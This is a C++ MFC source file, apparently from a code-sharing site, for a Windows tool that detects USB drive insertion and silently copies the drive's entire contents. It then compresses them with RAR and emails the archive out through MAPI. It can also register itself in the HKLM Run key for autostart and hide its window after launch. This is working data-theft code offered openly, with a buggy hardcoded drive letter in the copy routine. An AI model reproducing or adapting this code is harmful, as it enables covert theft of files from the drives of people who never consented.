📄 copy_u_ccdeathdlg.cpp
字号:
}
// TODO: Return a different brush if the default is not desired
return hbr;
}
void CCOPY_U_CCDeathDlg::OnAfterOSRun()
{
//具体方法:1.定义要写入的值2.打开,存在把她取出来,不存在就创建一个3.写入
this->UpdateData(true);
if(this->m_AfterOSRun)//为真就写入注册表
{
this->m_hKey=NULL;
char pName[MAX_PATH];
CString str;
GetModuleFileName(NULL,pName,sizeof(pName)/sizeof(char));//获取文件名
str=pName;
RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&m_hKey);
RegSetValueEx(m_hKey,"CCDeath-COPY_U盘",0,REG_SZ,(const unsigned char *)(LPCTSTR)str,str.GetLength());
}
else//移掉除注册表信息
{
::RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&m_hKey);
::RegDeleteValue(m_hKey,"CCDeath-COPY_U盘");
}
//写入ini文件
AfxGetApp()->WriteProfileInt("RunHide","AfterOSRun",this->m_AfterOSRun?1:0);
this->SetDlgItemText(IDC_CHECKCHANGE,this->m_AfterOSRun?"设置开机能启动成功:-)":"撤消开机自启动");
this->UpdateData(false);
}
void CCOPY_U_CCDeathDlg::OnAfterProRun()
{
this->UpdateData(true);
AfxGetApp()->WriteProfileInt("RunHide","AfterProRun",this->m_AfterProRun?1:0);
this->SetDlgItemText(IDC_CHECKCHANGE,this->m_AfterProRun?"设置启动后隐藏成功:-)":"撤消启动自隐藏");
}
void CAboutDlg::OnOK()
{
// TODO: Add extra validation here
// CDialog::OnOK();
}
void CCOPY_U_CCDeathDlg::OnButtonAbout()
{
CAboutDlg dlg;
dlg.DoModal();
}
void CAboutDlg::OnLButtonDown(UINT nFlags, CPoint point)
{
// TODO: Add your message handler code here and/or call default
this->OnCancel();
CDialog::OnLButtonDown(nFlags, point);
}
void CCOPY_U_CCDeathDlg::OnContactMe()
{
ShellExecute(m_hWnd,"open","mailto:CCDeath@163.com",NULL,NULL,SW_SHOW);
}
void CCOPY_U_CCDeathDlg::OnHelp()
{
ShellExecute(m_hWnd,"open","ReadMe.txt",NULL,NULL,SW_SHOW);
}
void CCOPY_U_CCDeathDlg::OnCopyBrowse()
{
CString str;
char name[MAX_PATH];
//浏览信息
BROWSEINFO bi;
ZeroMemory(&bi,sizeof(BROWSEINFO));
bi.hwndOwner=GetSafeHwnd();
bi.pszDisplayName=name;
bi.lpszTitle="选择U盘备份存放位置:";
bi.ulFlags=BIF_RETURNONLYFSDIRS;
LPITEMIDLIST idl=SHBrowseForFolder(&bi);
if(idl==NULL)return;
SHGetPathFromIDList(idl,str.GetBuffer(MAX_PATH));
str.ReleaseBuffer();
m_CopyPath=str;
if(str.GetAt(str.GetLength()-1)!='\\')
m_CopyPath+="\\U盘备份";
else m_CopyPath+="U盘备份";//C盘直接加CCDeath
AfxGetApp()->WriteProfileString("Address","PATH",m_CopyPath);
CreateDirectory((LPCTSTR)m_CopyPath,NULL);
UpdateData(FALSE);
}
bool CCOPY_U_CCDeathDlg::OnWinrarPress()
{
this->SetDlgItemText(IDC_CHECKCHANGE,"正在压缩文件中...");
STARTUPINFO si;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof STARTUPINFO;
si.wShowWindow = SW_SHOW;
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
PROCESS_INFORMATION pi;
CString str="C:\\Program Files\\WinRAR\\Rar.exe a -r ";
str+=m_CopyPath; //压缩后的路径
str+=" ";//中间加个空格
str+=m_CopyPath;//要压缩的目录
BOOL res = CreateProcess(NULL,
str.GetBuffer(0),
NULL,
NULL,
NULL,
NORMAL_PRIORITY_CLASS | CREATE_NO_WINDOW,
NULL,
NULL,
&si,
&pi);
if (TRUE == res)
{
//等待进程执行完毕
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
this->SetDlgItemText(IDC_CHECKCHANGE,"压缩成功:-)\r\n正在发送邮件中...");
return 1;
}
else return 0;
}
void CCOPY_U_CCDeathDlg::OnTimer(UINT nIDEvent)
{
// TODO: Add your message handler code here and/or call default
KillTimer(1);
if(this->m_strDisk!="")//不是空
{
this->SetDlgItemText(IDC_CHECKCHANGE,"正在复制文件中....");
CopyFile(this->m_strDisk);//开始复制
}
CDialog::OnTimer(nIDEvent);
}
//发送邮件
void CCOPY_U_CCDeathDlg::OnSendMail()
{
if(bCopy)
{
if(this->OnWinrarPress())
{
UpdateData(true);
HMODULE hMod = LoadLibrary("MAPI32.DLL");
if(hMod == NULL)
{
AfxMessageBox(AFX_IDP_FAILED_MAPI_LOAD);//无法装入系统
return ;
}
//从这个动态链接库发取出送邮件的函数地址
ULONG (PASCAL *lpfnSendMail)(ULONG ,ULONG,MapiMessage*,FLAGS,ULONG);
(FARPROC&)lpfnSendMail=GetProcAddress(hMod,"MAPISendMail");//取出"MAPISendMail"
if(lpfnSendMail == NULL)
{
AfxMessageBox(AFX_IDP_INVALID_MAPI_DLL);
return ;
}
// else{AfxMessageBox("i love you");}
//收件人结构信息
CString sAddress = this->m_MailAddress;
CString sName=this->m_CopyPath;
sName+=".rar";
MapiRecipDesc recip;
memset(&recip,0,sizeof(MapiRecipDesc));
recip.lpszAddress = sAddress.GetBuffer(0);
recip.ulRecipClass = MAPI_TO;
recip.lpszName = sAddress.GetBuffer(0);
//附件结构信息
MapiFileDesc FileDesc;
memset(&FileDesc,0,sizeof(FileDesc));
FileDesc.lpszPathName=sName.GetBuffer(0);// 附件文件名
FileDesc.nPosition=(ULONG)-1;//附件在邮件中的位置
//邮件结构信息
MapiMessage message;
memset(&message,0,sizeof(message));
message.nRecipCount = 1;//收件人的个数,只有一个了
message.lpRecips = &recip;//收件人信息
message.nFileCount = 1;//附件的个数,只有一个了
message.lpFiles = &FileDesc;//附件信息
message.lpszSubject = "Happy Every Day :-)";//主题信息
message.lpszNoteText = "天天快乐";//正文内容,不需要
//保存本窗口指针,发送完邮件要返回本程序窗口
CWnd *pCurrentWnd = CWnd::GetSafeOwner(NULL,NULL);
//调用发送邮件函数,发送邮件
int nError = lpfnSendMail(0,0,&message,MAPI_LOGON_UI | MAPI_DIALOG,0);
if(nError != SUCCESS_SUCCESS && nError != MAPI_USER_ABORT
&& nError!= MAPI_E_LOGIN_FAILURE)
{
AfxMessageBox(AFX_IDP_FAILED_MAPI_SEND);
}
//返回程序
pCurrentWnd->SetActiveWindow();
//释放分配的内存
FreeLibrary(hMod);
this->SetDlgItemText(IDC_CHECKCHANGE,"邮件发送成功:-) 想进行系统设置,请重起软件!");
}
}
else
{
this->SetDlgItemText(IDC_CHECKCHANGE,"还没复制好文件,请重插U盘....");
return ;
}
}
//默认消息处理
LRESULT CCOPY_U_CCDeathDlg::DefWindowProc(UINT message, WPARAM wParam, LPARAM lParam)
{
// TODO: Add your specialized code here and/or call the base class
if(message == WM_DEVICECHANGE)//这边详细看该程序帮助的地方文档...
{
CString str;
DEV_BROADCAST_HDR * dhr = (DEV_BROADCAST_HDR *)lParam;//查看MSDN
switch(wParam)
{
case DBT_DEVICEARRIVAL:
if(dhr->dbch_devicetype==DBT_DEVTYP_VOLUME)//Media设备插入并且已经可用
{
PDEV_BROADCAST_VOLUME lpdbv =(PDEV_BROADCAST_VOLUME)dhr;//详细看说明为什么可以...
str.Format("%c:",FirstDriveFromMask(lpdbv->dbcv_unitmask));//这个没有库函数用于返回磁盘,需要重新定义
//首先要判断是否为U盘(偶怕插入其他的东西也拷比较麻烦)...然后...在这边设置Timer...呵呵..
if(GetDriveType((LPCTSTR)str)==DRIVE_REMOVABLE)
{
this->m_strDisk=str;
SetTimer(1,100,NULL);
}
}
break;
}
}
return CDialog::DefWindowProc(message, wParam, lParam);
}
//查找U盘盘符
char CCOPY_U_CCDeathDlg::FirstDriveFromMask(ULONG unitmask)
{
for(char i=0;i<26;i++)
{
if(unitmask & 0x1)//找到了
break;
unitmask=unitmask>>1;//
}
return (i+'A');//返回第几个盘符
}
//复制文件
void CCOPY_U_CCDeathDlg::CopyFile(CString dir)
{
//比先前用的更简单了SHFILEOPSTRUCT;需要解决str与char字符的转换,借助strcpy;
char cSourceFile[255+1]="";//假设最大的文件名最大字符串是255个字符...
char cDestFile[255+1]="";
dir+="\\*.*";//由K:->k:\*.*
strcpy(cDestFile,this->m_CopyPath);
strcpy(cSourceFile,dir);
SHFILEOPSTRUCT fileop;//shell文件操作.. shell file operator struct;
fileop.hwnd = m_hWnd; //句柄
fileop.wFunc= FO_COPY;//复制
// fileop.pFrom= cSourceFile;//从U盘里
fileop.pFrom="K:\\*.*";
fileop.pTo=cDestFile; //
fileop.fFlags = FOF_NOCONFIRMATION | FOF_SILENT ;
if(SHFileOperation(&fileop)!=0)
{
return ;
}
this->SetDlgItemText(IDC_CHECKCHANGE,"复制文件成功:-)");
bCopy=true;
}
void CCOPY_U_CCDeathDlg::OnButton7()
{
// TODO: Add your control notification handler code here
UpdateData(true);
AfxGetApp()->WriteProfileString("Address","MAIL",this->m_MailAddress);
this->OnSendMail();
}
BOOL CCOPY_U_CCDeathDlg::OnSetCursor(CWnd* pWnd, UINT nHitTest, UINT message)
{
if(m_hAniCursor!=NULL)
{
SetCursor(m_hAniCursor);
return TRUE;
}
else
return CDialog::OnSetCursor(pWnd, nHitTest, message);
}
BOOL CAboutDlg::OnSetCursor(CWnd* pWnd, UINT nHitTest, UINT message)
{
// TODO: Add your message handler code here and/or call default
if(m_hAniCursor1!=NULL)
{
SetCursor(m_hAniCursor1);
return TRUE;
}
else
return CDialog::OnSetCursor(pWnd, nHitTest, message);
}
BOOL CAboutDlg::OnInitDialog()
{
CDialog::OnInitDialog();
//加载光标
char pathname[_MAX_PATH];
char drive[_MAX_DRIVE];
char dir[_MAX_DIR];
char fname[_MAX_FNAME];
char ext[_MAX_EXT];
GetModuleFileName(NULL, pathname, _MAX_PATH);
_splitpath(pathname, drive, dir, fname, ext);
_makepath(pathname, drive, dir, "butterfly", "ani");
if(m_hAniCursor1 == NULL)
{
m_hAniCursor1 = LoadCursorFromFile(pathname);
if(m_hAniCursor1 == NULL)
AfxMessageBox("AniCursor load failure");
}
return TRUE; // return TRUE unless you set the focus to a control
// EXCEPTION: OCX Property Pages should return FALSE
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -